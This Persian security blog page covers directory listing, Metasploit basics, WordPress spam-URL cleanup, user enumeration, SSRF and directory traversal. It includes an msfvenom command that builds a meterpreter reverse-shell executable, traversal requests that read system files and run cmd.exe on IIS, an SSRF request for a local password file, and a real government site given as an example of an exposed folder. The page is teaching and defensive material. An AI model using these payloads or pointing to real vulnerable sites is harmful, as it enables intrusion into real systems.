بلاگ | blog

ضعف امنیتی Directory Listing

ضعف امنیتی Directory Listing

سلام خدمت دوستان عزیز

Directory listing حمله ایست که هکر را قادر می سازد تا به دایرکتوری‌های وب سرور آپاچی دسترسی پیدا کند که می‌تواند به هکر کمک کند تا بتواند به سرعت منابع را در یک مسیر مشخص شناسایی کند و به طور مستقیم به تجزیه و تحلیل و حمله به آن منابع اقدام کند.

این حمله باعث می شود تا فایل های حساس که کاربران به آن‌ها دسترس ندارند، مانند فایل‌ها و دایرکتوری‌های مهم روی سرور و… در معرض خطر قرار گیرند.

برای نمونه شما فرض کنید در وب سرور خود پوشه ای با نام  admin/backup دارید که درون آن فایل‌های شخصی (مانند پسوردها، نام‌های کاربری، شماره‌ها و…) خود را ذخیره کرده اید. حال هکر با استفاده از ابزارهای تست نفوذ خود، نام پوشه شما را به دست می آورد و با وجود این آسیب پذیری بر روی سرور شما، می‌تواند به محتویات داخل پوشه شما دسترسی داشته باشد.

ضعف امنیتی Directory Listing

 

هکر به چگونه از این آسیب پذیری استفاده می‌کند؟

به طور مثال ما از سایتمان backup تهیه کردیم و آن را در یک پوشه ذخیره کرده‌ایم، هکر با وارد شدن به پوشه، backup را دانلود کرده و با استفاده از کانفیگ موجود سایتمان را هک می کند یا …

http://cholistan.gov.pk/db

برای رفع باگ directory listing  کافیست یک فایل php یا html با نام index در مسیر مورد نظر آپلود کنیم.

اگر دوست داشتید می‌تونید ویدئو “تست امنیت ۲ سایت داخلی” که دقیقا پیرامون همین موضوع است رو مشاهده کنید.

 

آموزش SEC580 – بخش دوم

سلام خدمت شما

با قسمت دوم از دوره SEC580 در خدمتتون هستم.

با توجه به درگیری‌های کاری سعی می کنم هر هفته ۱ تا ۲ پارت از این آموزش را منتشر کنم.دوره به صورت فشرده و کوتاه خواهد بود.

انواع Payload:

Payload ها انواع مختلفی دارند که متاسپلویت از آنها پشتیبانی می‌کند و توانایی بهره‌برداری از آنان را به ما می‌دهد.

 Inline و  non-staged

به پیلودهای حاوی Exploit و یا Full Shell code به منظور اجرای یک کار خاص پیلودهای non-staged و یا Inline می‌گویند.

Stager:

این نوع پیلود با پیلود های Staged کار می کند و وظیفه برقراری ارتباط بین مهاجم و فرد قربانی را دارد و با ایجاد یک Channel اطلاعات مد نظر فرد مهاجم را از آن عبور میدهد

Meterperter:

یک پیلود چند وجهی و یا همان Multi-Faceted می‌باشد که با استفاده از dll injection از راه دور به سیستم فرد قربانی حمله می‌کند و موجب ایجاد دسترسی می‌شود.

این نوع پیلود هیج اثری بر روی Hard-Disk نمی‌گذارد و تمامی بدافزارها را در Memory اجرا می‌کند.

کشف و بازرسی این پیلود با روش‌های ساده Digital Forensic بسیار سخت و دشوار می‌باشد.

PassiveX:

این نوع پیلود برای گذر از فایروال ها می باشند که از استفاده از ActiveX و IE به منظور ساخت یک http Tunnel به منظور ارسال و دریافت اطلاعات مد نظر فرد مهاجم مانع شناسایی شدن پیلود می شود.

NONX:

این پیلول وظیفه دور زدن NX را دارد، در برخی CPU ها به منظور جلوگیری از اجرای کد بر روی قسمت‌های مختلف حافظه از NX استفاده می‌شود که در ویندوز NX با نام DEP مخفف Data Execution Prevention پیاده سازی می‌شود و NONX توانایی دورزدن آن را نیز دارد.

IPv6:

همانطور که از نام آن پیداست این نوع پیلود برای استفاده در شبکه‌های مجهز به IPv6 می‌باشد

لیستی از Payload های موجوددر متاسپلویت

bind_tcp
bind_tcp_ipv6
bind_nonx_tcp
reverse_tcp
reverse_http
reverse_tcp_ipv6
reverse_nonx_tcp
reverse_tcp_allport
x64/bind_tcp
x64/reverse_tcp

با دستور msfconsole محیط برنامه را باز می‌کنیم.با استفاده از دستور banner می‌توانیم حالت شروع کنسول متاسپلویت را تغییر دهیم.

به منظور پیدا کردن سریع‌تر اکسپلویت‌ها، ماژول‌ها و یا Payload‌ها می‌توانیم از دستور search استفاده کنیم.

برای مثال من قصد دارم اسکنر های Port در متاسپلویت را ببینم

search <name>

چند مثال عملی

search cve:2019 type:exploit platform:windows app:client firefox

تمامی اکسپلویت‌های firefox با این مشخصات را برای ما نمایش می‌دهد

اگر زمانی بخواهیم کل اکسپلویت‌های موجود در متاسپلویت را با این مشخصات ببینیم مرتبط به هر پروتکل و نرم افزاری از دستور بالا به شکل زیر استفاده می‌کنیم

search cve:2019 type:exploit platform:windows app:client

نکته: در صورت نمایش ندادن خروجی خاصی به معنی این است که مشخصاتی که وارد کرده اید، در متاسپلویت وجود ندارد.

به منظور وارد شدن و به کار گرفتن این ماژول ما از دستور use استفاده می‌کنیم و وارد آن می‌شویم.

اصول نوشتاری دستور use به این شکل می‌باشد

use <Module_name>

حالا مراحل رو با مثال دیگری دنبال کنیم:

search portscan

use /auxiliary/scanner/portscan/tcp

با استفاده از دستورات متنوع show ما توانایی دیدن مقدار اطلاعات مختلف در رابطه با ماژول‌ها و اجزای مختلف متاسپلویت را داریم.

دستور show options برای ما پارامترهای مورد نیاز برای تنظیم آنها را نمایش می‌دهد که در ماژول‌های مختلف متاسپلویت دوپارامتر کاربرد بسیار دارند، پارامترهای RHOSTS و RPORTS برای ما اهمیت ویژه دارند.

مقدار RHOSTS مخفف Remote HOSTS تایین کننده IP هدف ما می‌باشد و RPORTS مخفف Remote PORT تعیین کننده Port هدف ما می‌باشد.این مقدارها را با استفاده از دستور set می‌‍توانیم تنظیم کنیم.

آموزش SEC580 - بخش دوم

اصول نوشتاری دستور set:

set <Variable> <Vaule>

set RHOSTS TargetURL/TargetIP

set PORTS 80

همانطور که در بالا گفتیم دستور show محتویات بسیاری را برای ما نمایش می‌دهد. برای مثال ما می‌توانیم از این دستور به منظور نمایش تمامی Exploit ها و یا ماژول‌های Auxiliary استفاده کنیم.

نمونه‌ای از این دستورات:

show exploits

نمایش تمامی اکسپلویت‌های قایل استفاده در متاسپلویت

show auxiliary 

نمایش تمامی ماژول‌های Auxiliary در متاسپلویت

show payloads

فرض کنید قرار است از طریق یک اکسپلویت به یک سیستم حمله کنیم و برای گرفتن دسترسی نیاز به یک پیلود دارید و پیلودهای قابل استفاده برای آن اکسپلویت را با این دستور می‌‍توانیم مشاهده کنیم

show encoders 

نمایش تمامی Encoder های قابل استفاده در متاسپلویت

show post

نمایش تمامی ماژول‌های Post-Exploiting قابل استفاده در متاسپلویت

show advanced

دیدن اطلاعات یک ماژول

از دستور Generate  به منظور تبدیل یک پیلود به کد استفاده می‌کنیم.

دستور بعدی:

info <Module_name>

مثال:

info auxiliary/scanner/portmap/portmap_amp

دستوری بعدی help نام دارد که برای کمک کردن به ما آماده شده است.برای نمونه:

help set

آموزش SEC580 – بخش اول

سلام خدمت شما

امروز تصمیم گرفتم که دوره SEC580 رو به صورت متنی در وب سایت شخصی خودم منتشر کنم تا چراغ راهی باشه برای علاقه‌مندان به مباحث تست نفوذ از طریق متاسپلویت که بتوانند به صورت رایگان به این محتوای ارزشمند دسترسی داشته باشند.

با توجه به درگیری‌های کاری سعی می کنم هر هفته ۱ تا ۲ پارت از این آموزش را منتشر کنم.دوره به صورت فشرده و کوتاه خواهد بود.

آموزش SEC580 - بخش اول

دوره آموزشی SEC580 از دوره‌های موسسه SANS است که به آموزش ابزار قدرتمند متاسپلویت می پردازد.

ابتدا باید ببینیم متاسپلویت چیست؟

متاسپلویت در ژوئیه سال ۲۰۰۳ ایجاد شد است. نسخه ۱٫۰ نوشته شده با زبان پرل و شامل رابط کاربری گرافیکی بر اساس curses است. نسخه سوم به‌طور کامل به زبان روبی بازنویسی شد و توسط Metasploit, LLC توسعه یافت. (تأسیس شده توسط توسعه دهندگان در سال ۲۰۰۶).

شما با استفاده از این فریم ورك می‌توانید آسیب پذیری‌هاي موجود در سیستم‌ها، پروتکل‌ها و نرم افزارهاي مختلف را شناسایی کرده و آنها را مورد نفوذ و یا حمله قرار دهید.

این اپلیکیشن به صورت پیش فرض  دارای اکسپلویت‌هاي بسیاری می‌باشد ولی علاوه بر آن شما می‌توانید اکسپلویت مورد نظر خودتان را ایجاد و به آن اضافه کنید.

نصب فریم ورک متاسپلویت

این فریم ورک به صورت پیش فرض در سیستم عامل کالی لینوکس وجود دارد و شما می‌توانید به راحتی از آن استفاده کنید.

اما اگر مایل به نصب متاسپلویت بر روی توزیع دیگری از لینوکس هستید، مشکلی وجود ندارد.باید به این شکل عمل کنید.

sudo apt-get install gpgv2 autoconf bison build-essential curl git-core libapr1 libaprutil1 libcurl4-openssl-dev libgmp3-dev libpcap-dev libpq-dev libreadline6-dev libsqlite3-dev libssl-dev libsvn1 libtool libxml2 libxml2-dev libxslt-dev libyaml-dev locate ncurses-dev openssl postgresql postgresql-contrib wget xsel zlib1g zlib1g-dev

پس از نصب وارد لینک زیر شوید و فایل metasploit.run را دانلود کنید

https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

به ترتیب دستورات را وارد کنید:

mkdir /opt/metasploit

mv metasploit.run /opt/metasploit

chmod +x metasploit.run

./metasploit.run

پس نصب دستور msfconsole را وارد کنید تا محیط متاسپلویت برای شما اجرا شود.

حال نیاز است که با بخش‌های مختلف این فریم ورک آشنا شویم.

متاسپلویت دارای ماژول های مختلفی و تقسیم بندی های مختلفی است که به شرح زیر می باشند تعداد ۱۸۸۶ اکسپلویت، تعداد ۱۰۶۵ Auxiliary ، تعداد ۳۲۸ ماژولPost ، تعداد ۵۴۶ Payload و تعداد ۴۴ encoder و ۱۰ Nops و ۲ evasion.

متااسپلویت چندین رابط کاربری دارد. در گذشته رابط های آن بیشتر بود برای مثال msfcli و msfencode که جای خود را به msfpayload دادند.

بریم سراغ تست ابزار:

 قصد دارم یک Payload برای سیستم عامل ویندوز با استفاده از msfpayload ایجاد کنم. این رابط کاربری متاسپلویت وظیفه msfcli و msfencode را انجام می دهد.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe

با استفاده از سوییچ -p ، Payload مد نظر را تعیین میکنیم. به جای<Local Port>  یک Port را وارد کنید برای مثال ۴۴۴۴٫

 به جای Local IP Address درواقع IP سیستم خود را وارد کنید.

 با استفاده از سوییچ -f فرمت فایل و در آخر هم خروجی را در یک فایل exe با نام shell قرار دادیم .

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.40 LPORT=4444 -f exe > shell.exe

هک وردپرس با URL Injection

سلام خدمت شما

مدتی است که بسیاری از سایت‌های وردپرسی دچار مشکل مشابهی میشن که اینجا لازم دیدم توضیحی در مورد این مشکل و نحوه رفع اون برای دوستان عزیز قرار بدم.

اخیرا مدیران سایت‌های مختلف ایمیل میزنن و بیان می‌کنند که یکسری لینک چینی و ژاپنی در گوگل برای سایتشون ثبت شده و با این عنوان که سایتمون رو هک کردن ابراز نگرانی می‌کنند.

URL injection

این بدین معنی است که هکر در سایت شما صفحاتی ساخته که معمولا شامل کلمات و لینک‌های اسپم است. بعضی اوقات این صفحات جدید شامل کدهایی هستند که کارهای مخصوصی انجام می‌دهند. به عنوان مثال کاربران، سایت شما را به سایت‌های دیگر منتقل می‌کنند یا به وب سرور شما صدمه می‌زنند و اینجاست که می‌گوییم هک شدن وردپرس با URL injection اتفاق افتاده است.

هکرها معمولا این تغییرات را از راه‌های زیر انجام می‌دهند:

  • داشتن دسترسی به یکی از پوشه‌های موجود در سرور یا هاست؛ به عنوان مثال ممکن است به یکی از پوشه‌های هاست خود بصورت کاملا ناخواسته دسترسی کاربر را داده‌اید.
  • استفاده از نسخه‌های قدیمی وردپرس و سوء استفاده هکر از باگ‌های امنیتی موجود در این نسخه‌ها
  • هک کردن افزونه‌های third-party که در سایت خود نصب کرده‌اید؛ مثل افزونه‌های شمارش تعداد بازدید سایت.

چگونه متوجه وجود این اسپم شویم؟

با بررسی حساب Google Search Console این مورد مشخص می‌شود زیرا تعداد صفحات ایندکس شده به طور قابل توجهی افزایش میابد.

همچنین قسمت پیام‌های Search Console را نیز بررسی کردیم اما چیزی مشاهده نشد و عجیب به نظر می‌رسید. در این حالت مثلا باید پیام “سایت شما ممکن است هک شده باشد” را دریافت می‌کردیم.

روش دیگه جستجو در گوکل به صورت زیر است: 

site:yourwebsite.com

هک وردپرس با URL Injection

چگونه مشکل ساخت آدرس‌ های جعلی در وردپرس را حل کردیم؟

اولین کاری که باید انجام داد، حذف افزونه مخرب است که این لینک‌ها را ایجاد کرده بود. چندین افزونه هستند که اسپم‌ها را شناسایی و حذف می‌کنند؛ افزونه‌های محبوبی مثل WP Spam Shield، WordFence و Sucuri.

پاک کردن اسپم از ایندکس گوگل

روش اول : ممکن است شما هم به فکر استفاده از ابزار Remove URLs در Google Search Console باشید اما نه تنها حذف این لینک‌ها به اندازه ایندکس شدن آن‌ها زمان بر است، بلکه گوگل آن‌ها را به صورت موقتی پاک می‌کند (۹۰ روز). و تا این زمان هک شدن وردپرس با URL injection ادامه دارد. اما راه‌حل بعدی بهتر به نظر می‌رسد.

روش دوم :

  1. همه ی URL های اسپم را از نتایج گوگل دانلود کنید.
  • اگر نتیجه‌های اسپم زیادی دارید، می‌توانید افزونه گوگل کروم به نام Infinite Scroll add-on  را نصب کنید. این افزونه به شما اجازه می‌دهد تا با یک کلیک به صفحه آخر نتایج بروید تا بتوانید تمامی نتیجه‌های گوگل را مشاهده کنید.
  • می‌توانید از افزونه Link Klipper نیز برای دانلود نتایج سایت در گوگل استفاده کنید. قطعا این راه خیلی راحت تر از کپی کردن تک تک نتایج است.
  1. کلمه‌ای که در صفحات اسپم شده تکرار شده است را پیدا کنید و آن را جلوی site:yourwebsite.com قرار دهید و عبارت را در گوگل جستجو کنید. مثل عبارت site:yourwebsite.com dating
  2. به نتایج انتهایی بروید.
  3. هنگامی که تمامی نتیجه‌ها بارگذاری شدند، راست کلیک کنید و Link Klipper را انتخاب کنید و روی Extract all links کلیک کنید. در این حالت یک فایل اکسل ساخته می‌شود.
  4. فایل اکسل را باز کنید و نتایج را براساس a to z مرتب کنید. سپس آن لینک‌هایی که مربوط به سایت شما است و لینک سایت شما در آن قرار دارد را کپی کنید. لینک‌های دیگر را نادیده بگیرید.
  5. شما با کمک افزونه yoast seo نیز می‌توانید نقشه سایت خود را کامل بسازید.
  6. یک نام مشخص برای فایل XML خود بگذارید. حال فایل را در روت سایت خود (در پوشه public_html) آپلود کنید تا آدرس دسترسی به آن چیزی شبیه به website.com/sitemap-name.xml باشد.
  7. حال به Google Search Console بروید و از قسمت crawl و sitemaps، sitemap جدید را به گوگل معرفی کنید.
  8. صفحه را دوباره باز کنید؛ می‌بینید که وضعیت sitemap به حالت submitted در می‌آید.
  9. اگر بیش از ۱۰۰۰ آدرس‌ های جعلی در وردپرس دارید، بعید است که بتوانید همه آن‌ها را در یک اقدام دانلود کنید. پس مجبورید این مراحل را برای بقیه لینک‌ها در روز بعدی انجام دهید.
  • لینک‌های اسپم را از نتایج جستجوی گوگل دانلود کنید و هر بار آن را به همان فایل اکسل اول اضافه کنید.
  • هر بار که لینک جدید اضافه می‌کنید، روی دکمه Remove duplicates در اکسل کلیک کنید تا جایی که تعداد لینک‌ها با آدرس‌ های جعلی در وردپرس موجود در نتایج گوگل برابر شود.
  • فایل sitemap جدید را در گوگل دوباره ثبت کنید.
 

User Enumeration چیست؟

سلام خدمت شما

شمارش کاربر یا User Enumeration زمانی اتفاق می‌افتد که نفوذگر در تلاش است با استفاده از حملات Brute-force کاربران معتبر در سیستم را حدس بزند.این مورد معمولا در صفحه ورود و فراموش پسورد اتفاق می‌اُفتد.

در این روش نفوذگر به دنبال بررسی کردن تفاوت پاسخی است که سرور در مقابل درخواست او می‌دهد.

زمانی که نفوذگر نام‌کاربری و رمز ورود نامعتبری را وارد می‌کند، سرور پاسخی را ارسال می‌کند و می‌گوید که کاربر rapid7 وجود ندارد.نفوذگر باهوش متوجه می‌شود که مشکل رمز عبور نیست، بلکه این نام کاربری است که در سیستم وجود ندارد.(این مورد در تصویر زیر مشخص است)

User Enumeration چیست؟

از طرف دیگر اگر نفوذگر یک نام کاربری معتبر را با یک رمز عبور نامعتبر وارد کند، سرور پاسخ دیگری را نشان می‌دهد و می‌گوید رمزعبور وارد شده برای نام کاربری فلان صحیح نیست، که این مشخص می‌کند که نام کاربری مورد تایید سرور است.(این مورد در تصویر زیر مشخص شده است)

User Enumeration چیست؟

پس نفوذگر متوجه می‎‌شود که سرور چگونه به ورودی معتبر و نامعتبر پاسخ می‌دهد.پس نفوذگر می‌تواند از نام‌های کاربری معمولی یا اسامی رایج و انواع حروف استفاده کند تا لیست معتبری از نام‌های کاربری را به دست بیاورد.

پس از کامل شدن این لیست نفوذگر می‌تواند دوباره همین مراحل رو تکرار کند، اما این بار برای به دست آوردن رمز عبور.

یک روش موثر برای جلوگیری از این مشکل این است که سرور یک پاسخ ثابت را برای هر دو حالت داشته باشد به این شکل که “نام کاربری یا رمز ورود نادرست است”.در این صورت نفوذگر نمی‌تواند استدلال کند که نام کاربری نادرست بوده یا خیر.(مانند تصویر زیر)

User Enumeration چیست؟

صفحه فراموشی رمز نیز می‌تواند در برابر این نوع حمله آسیب‌پذیر باشد.به طور معمول، هنگامی که یک کاربر رمز عبور خود را فراموش می‌کند، یک نام کاربری را در این قسمت وارد می کند و سیستم تنظیم مجدد رمز ورود، یک ایمیل برای ایجاد پسورد جدید ارسال می‌کند.

در این حالت یک سیستم آسیب‌پذیر مشخص می‌کند که آن نام کاربری در سیستم وجود دارد یا خیر.(مانند تصویر زیر)

User Enumeration چیست؟

برای رفع این مشکل نیز باید پاسخ ثابتی در سرور مشخص شود که به سادگی به کاربر بگوید که اگر نام کاربری معتبر باشد، سیستم یک ایمیل بازگردانی به آدرس وارد شده ارسال می‌کند.(این مورد در تصویر زیر مشخص شده است)

User Enumeration چیست؟

برای درک بهتر این مورد، یک ویدئو آموزشی را رکورد کردیم که می توانید در سایت‌های واقعی این مورد را به صورت عملی مشاهده کنید.

آشنایی با حمله SSRF

آشنایی با حمله SSRF

SSRF مخفف Server Side Request Forgery است و به نفوذگر اجازه ارسال درخواست‌هایی با امضاهای جعلی به سمت یک سرور آسیب‌پذیر را می دهد و چون این سرور آسیب پذیر است، درخواست‌ها معتبر شناخته می‌شوند و به عنوان یه نود معتبر در شبکه معرفی می‌شود.

از این طریق کنترل‌های فایروال پشت سر گذاشته شده و نفوذگر به سرویس‌های داخل شبکه دست پیدا می‌کند.

تصور کنید یک وب سرور عمومی در شبکه یک شرکت به آدرس زیراست:

public.site.com

این آدرس یک سرویس پراکسی را در public.site.com/proxy هاست می‌کند که صفحات وب  که در پارامتر url مشخص شدند را پردازش و به کاربر نمایش می‌دهد. تصور کنید کاربر درخواست زیر را ارسال می‌کند

https://public.site.com/proxy?url=google.com

در این شرایط، وب اپلیکشن  صفحه گوگل را نمایش می‌دهد

آشنایی با حمله SSRF

حال تصور کنید admin.site.com  یک سرور داخلیست که یک پنل مخفی ادمین را هاست می‌کند.

برای آنکه مطمئن شوند که فقط کارمندان می‌توانند به این صفحه دسترسی داشته باشند، Access control را طوری تنظیم مرده‌اند که از بیرون و عملاً اینترنت کسی به آندسترسی نداشته باشد و فقط کسانی به آن دسترسی پیدا کنند که یک IP معتبر داخلی داشته باشند (مثلاً یکی از workstation های کارمندان).

حال اگر یک کاربر تقاضای زیر را بدهد چه اتفاقی می‌اُفتد؟

https://public.site.com/proxy?url=admin.site.com

اگر مکانیسم کنترل SSRF نداشته باشند، چون درخواست از Public.site.com ارسال شده است و یک ماشین معتبر داخل شبکه است، صفحه ادمین به کاربر نمایش داده می‌شود. درواقع درخواست‌های نامعتبر که در حالت عادی توسط فایروال بلاک می‌شدند، الان اجرا می‌شوند!

حال با استفاده از این وضعیت، نفوذگر می‌تواند هر نوع درخواست را روی شبکه ارسال کند و بسته به اینکه آن سرور چه دسترسی‌هایی دارد، نفوذگر می‌تواند فایل‌های حساس داخل شبکه را بخواند یا API های داخلی را صدا بزند و یا مثل حالتی که توضیح داده شد به بخش‌های مخفی مخصوص مدیران دست پیدا کند.

انواع SSRF

۲ نوع SSRF وجود دارد:  Regular SSRF یا SSRF معمولی و Blind SSRF.

مکانیسم‌های هردوی آنها یکسان است و عملاً اعتماد بین ماشین‌های روی یک شبکه را مورد هدف قرار میدهند و exploit می کنند، تنها تفاوتی که بین این دو است در این است که در Blind نفوذگر بازخوردی از سمت سرور به وسیله درخواست های HTTP یا error message ها دریافت نمی کند.

هرچند این موضوع کمی استخراج داده‌ها و exploit کردن شبکه را سخت‌تر می کند اما با این حال برای نفوذگر با ارزش است.

چطورSSRF پیدا کنیم؟

بهترین راه پیدا کردن این نوع آسیب‌پذیری‌ها این است که به صورت دستی code review کنیم و بررسی کنیم که آیا تمامی ورودی‌های URL به صورت درست اعتبارسنجی می‌شوند یا خیر؟

البته همیشه نمی‌توانیم این کار را انجام دهیم و دسترسی کامل به کد نداریم، بنابراین باید تمرکز خود را روی ویژگی‌هایی که نشان دهنده SSRF هستند بگذاریم.

همان‌طور که اشاره کردم SSRF زمانی اتفاق می‌افتد که یک سرور به منابع خارجی نیاز داشته باشد.

به طور مثال، بعضی وقت‌ها یک وب اپلیکیشن نیاز دارد تا از روی URL یک عکس، thumbnail درست کند یا مثلاً نیازدارد تا ازروی یک ویدیو از سایت دیگر یک Screen shot داشته باشد (مثلاً youtube.com یا aparat.com). اگر سرور دسترسی به منابع داخلی خودش را درست محدود نکرده باشد، SSRF اتفاق می افتد.

فکر کنیم صفحه زیر که روی public.site.com است به کاربران اجازه دهد تا عکس خودشان را از طریق اینترنت آپلود کنند

https://public.site.com/upload_profile_from_url.php?url=www.google.com

برای این که test.jpeg را پردازش کند، اول باید سراغ محتویات google.com رفته و آن را بخواند. اگر سرور تفاوتی بین منابع داخلی و خارجی قائل نشده باشد، یک نفوذگر به راحتی می‌تواند درخواست زیر را ارسال کند:

https://public.site.com/upload_profile_from_url.php?url=localhost/password_file.txt

و همان‌طور که از اسم فایل مشخص است، می تواند فایل محتویات پسوردها را نمایش دهد.

ویژگی‌هایی که معمولاً نسبت به SSRF آسیب‌پذیر هستند عبارتند از: webhook ها، فایل آپلودها به وسیله URL، پردازشگرهای اسناد و تصاویر، link expansion ها و سرویس های پراکسی! در واقع همه این ویژگی ها نیاز دارند تا منابع خارجی را مشاهده و پردازش کنند.

تست کردن SSRF معمولاً با آماده کردن ورودی URL با یک آدرس داخلی شروع می‌شود. حالا بسته به config شبکه ممکن است نیاز باشد چندین سرور مختلف تست شوند. مثلاً آدرس های زیر همان اول تست می شوند:

  • ۱۲۷٫۰٫۰٫۰/۸
  • ۱۹۲٫۱۶۸٫۰٫۰/۱۶
  • ۱۰٫۰٫۰٫۰/۸

در لینک زیر می توانید یک SSRF جالب که اردیبهشت ۹۷ از Shopify گرفته شده است و ۲۵۰۰۰ دلار بانتی دریافت شده است را ببینید

https://hackerone.com/reports/341876

این مطلب به امید خدا در آینده به‌روزرسانی خواهد شد

آشنایی با حمله Directory Traversal

آشنایی با حمله Directory Traversal

کنترل مناسب دسترسی به محتوای وب برای یک وب سرور امن بسیارسخت است. دایرکتوری تراورسال (Directory Traversal) یا Path Traversal یک حمله HTTP است که به مهاجمان امکان دسترسی به دایرکتوری‌های محدود شده و اجرای دستورات خارج از دایرکتوری ریشه وب سرور را می‌دهد.

سرورهای وب دو سطح اصلی مکانیسم‌های امنیتی را فراهم می‌کنند

  • Access Control Lists (ACLs)
  • Root directory

یک لیست کنترل دسترسی در فرایند مجوز استفاده می‌شود. این یک لیست است که مدیر وب سرور برای نشان دادن اینکه چه کاربران یا گروه‌هایی قادر به دسترسی، اصلاح یا اجرای برخی از فایل‌ها در سرور و همچنین سایر حقوق دسترسی هستند استفاده می‌کند. دایرکتوری ریشه یک دایرکتوری خاص در سیستم فایل (File System) سرور است که در آن کاربران محدود هستند. کاربران قادر به دسترسی به چیزی در بالای این ریشه نیستند.

به عنوان مثال: دایرکتوری ریشه پیش فرض IIS در ویندوز است C:\Inetpub\wwwroot و با این راه‌ اندازی، کاربر دسترسی به C:\Windows ندارد، اما به C:\Inetpub\wwwroot\news و هر دایرکتوری دیگر که زیر مجموعه دایرکتوری ریشه است،(با توجه به اینکه کاربر از طریق ACL تأیید اعتبار شود) دسترسی دارد.

دایرکتوری ریشه مانع دسترسی کاربران به هر گونه فایل در سرور مانند C:\WINDOWS\system32\win.ini در سیستم عامل ویندوز و فایل/etc/passwd  در سیستم عامل لینوکس / یونیکس می شود. این آسیب پذیری می تواند در نرم افزار وب سرور یا در کد برنامه وب وجود داشته باشد.

برای انجام یک حمله Directory Traversal، تمام چیزی که یک مهاجم نیاز دارد یک مرورگر وب است و دانش در این مورد که کجا به صورت کورکورانه فایل‌ها و دایرکتوری‌های پیش فرض در سیستم را پیدا می کند.

اگر وب سایت شما آسیب پذیر باشد، یک مهاجم چه کاری می تواند انجام دهد؟

با یک سیستم آسیب‌پذیر دایرکتوری تراورسال (Directory Traversal)، مهاجم می‌تواند از این آسیب‌پذیری برای از بین بردن دایرکتوری ریشه و دسترسی به بخش‌های دیگر فایل سیستم استفاده کند. این ممکن است مهاجم را قادر به مشاهده فایل‌های محدود شده کند، که می تواند بستری باشد برای به دست آوردن اطلاعات بیشتر مورد نیاز جهت به خطر انداختن بیشتر سیستم.

بسته به اینکه دسترسی به وب‌سایت چگونه تنظیم شده است، مهاجم دستورات خود را با استفاده از جعل هویت خود به عنوان کاربری که با “وب سایت” مرتبط است، اجرا می‌کند. بنابراین همه چیز به اینکه به کاربر وبسایت چه دسترسی در سیستم داده شده، دارد.

مثال حمله دایرکتوری تراورسال (Directory Traversal) از طریق کد برنامه وب

در برنامه های وب با صفحات پویا (Dynamic Page)، ورودی‌ها معمولا درمرورگرها از طریق روش‌های درخواستی GET یا POST دریافت می‌شود. در اینجا یک مثال از URL درخواست HTTP GET را می‌توانید ببینید.

GET http://test.webarticles.com/show.asp?view=oldarchive.html HTTP/1.1

Host: test.webarticles.com

با استفاده از این URL، مرورگر صفحه پویا show.asp را از سرور درخواست میکند و به همراه این نیز پارامتر دیدن با مقدار oldarchive.htm را ارسال میکند. هنگامی که این درخواست در وب سرور اجرا می‌شود، show.asp فایل oldarchive.html را از فایل سیستم سرور بازیابی می‌کند، آن را ارائه می‌دهد و سپس به مرورگر ارسال می‌کند که به کاربر نمایش می‌دهد. مهاجم فرض می کند که show.asp می تواند فایل‌ها را از فایل سیستم بازیابی کند و URL سفارشی زیر را ارسال می‌کند.

GET http://test.webarticles.com/show.asp?view=../../../../../Windows/system.ini HTTP/1.1Host: test.webarticles.com

این باعث می شود صفحه دینامیکی فایل system.ini را از فایل سیستم بازیابی کند و آن را به کاربر نمایش دهد. عبارت ../ دستور می دهد که سیستم یک پوشه رابه عقب برگردد که به طور معمول به عنوان یک دستورالعمل سیستم عامل مورد استفاده قرار می‌گیرد. مهاجم میبایست حدس بزند که چندین دایرکتوری که او باید برای یافتن پوشه ویندوز در سیستم پیدا کند، اما این به راحتی با آزمون و خطا انجام می‌شود.

مثال یک حمله مسیریابی دایرکتوری (Directory Traversal) از طریق وب سرور

جدا از آسیب‌پذیری در کد، حتی خود وب سرور می تواند به حملات دایرکتوری تراورسال (Directory Traversal) باز باشد. این مشکل می‌تواند در نرم افزار وب سرور و یا در داخل برخی از فایل های اسکریپت نمونه موجود در سرور موجود باشد.

آسیب‌پذیری در آخرین نسخه‌های نرم افزار وب سرور ثابت شده است، اما سرورهای وب آنلاین وجود دارد که هنوز هم از نسخه های قدیمی IIS و Apache استفاده می‌کنند که ممکن است برای حملات مسیریابی پوشه‌ای باز باشد. حتی اگر شما از یک نسخه نرم افزار وب سرور استفاده کنید که این آسیب‌پذیری را رفع کرده باشد، ممکن است هنوز دایرکتوری‌های حساس اسکریپت‌های پیش فرض در معرض آن قرار داشته باشید که برای هکرها نیز شناخته شده است.

به عنوان مثال، یک درخواست URL که استفاده از دایرکتوری اسکریپت های IIS را برای گذر از دایرکتوری ها و اجرای دستور، می تواند به صورت زیر باشد:

GET http://server.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\ HTTP/1.1Host: server.com

این درخواست یک لیست کامل از تمام فایل ها در C:\directory با استفاده از اجرای دستور shell file دستور cmd.exe را و اجرای  دستور dir c:\ را در shell نمایش می‌دهد. عبارت %۵c که در درخواست URL است، یک کد فرار (Escape Code) وب است که برای نمایش کاراکترهای عادی استفاده می شود. در این مورد%۵c  نشان دهنده شخصیت \ است.

نسخه های جدیدتر از نرم افزار وب سرور مدرن این کدهای فرار را بررسی و اجازه ورود آن ها را  نمی دهند. اما برخی از نسخه های قدیمی تر این کدها را در پوشه ریشه دایرکتوری فیلتر نمیکنند و اجازه می دهند مهاجمان چنین دستوراتی را اجرا کنند.

چگونگی بررسی آسیب پذیری دایرکتوری تراورسال (Directory Traversal)

بهترین راه برای بررسی اینکه آیا وب سایت و برنامه‌های وب شما به دایرکتوری تراورسال (Directory Traversal) آسیب پذیر هستند، استفاده از اسکنر آسیب‌پذیری وب است. اسکنر آسیب پذیری وب تمام وب سایت شما را بررسی (Crawl) می کند و به طور خودکار آسیب پذیری های دایرکتوری تراورسال (Directory Traversal) را بررسی کرده و به همراه نحوه رفع آسان آن گزارش می دهد.

جلوگیری از حمله دایرکتوری تراورسال Directory Traversal

اول از همه اطمینان حاصل کنید که آخرین نسخه نرم افزار وب سرور خود را نصب کرده اید و اطمینان حاصل کنید که تمام وصله ها (Patch) اعمال شده اند.

در مرحله دوم، به طور موثر هر ورودی کاربر فیلتر می‌شود. در حالت ایده آل همه چیز را حذف کنید به جز داده‌های شناخته شده و  همچنین متاکاراکتر را در ورودی کاربرفیلتر کنید. با این کار اطمینان حاصل خواهد شد که تنها چیزی که باید به سرور ارسال شود در فیلد وارد می شود.

آشنایی با آسیب پذیری Html injection

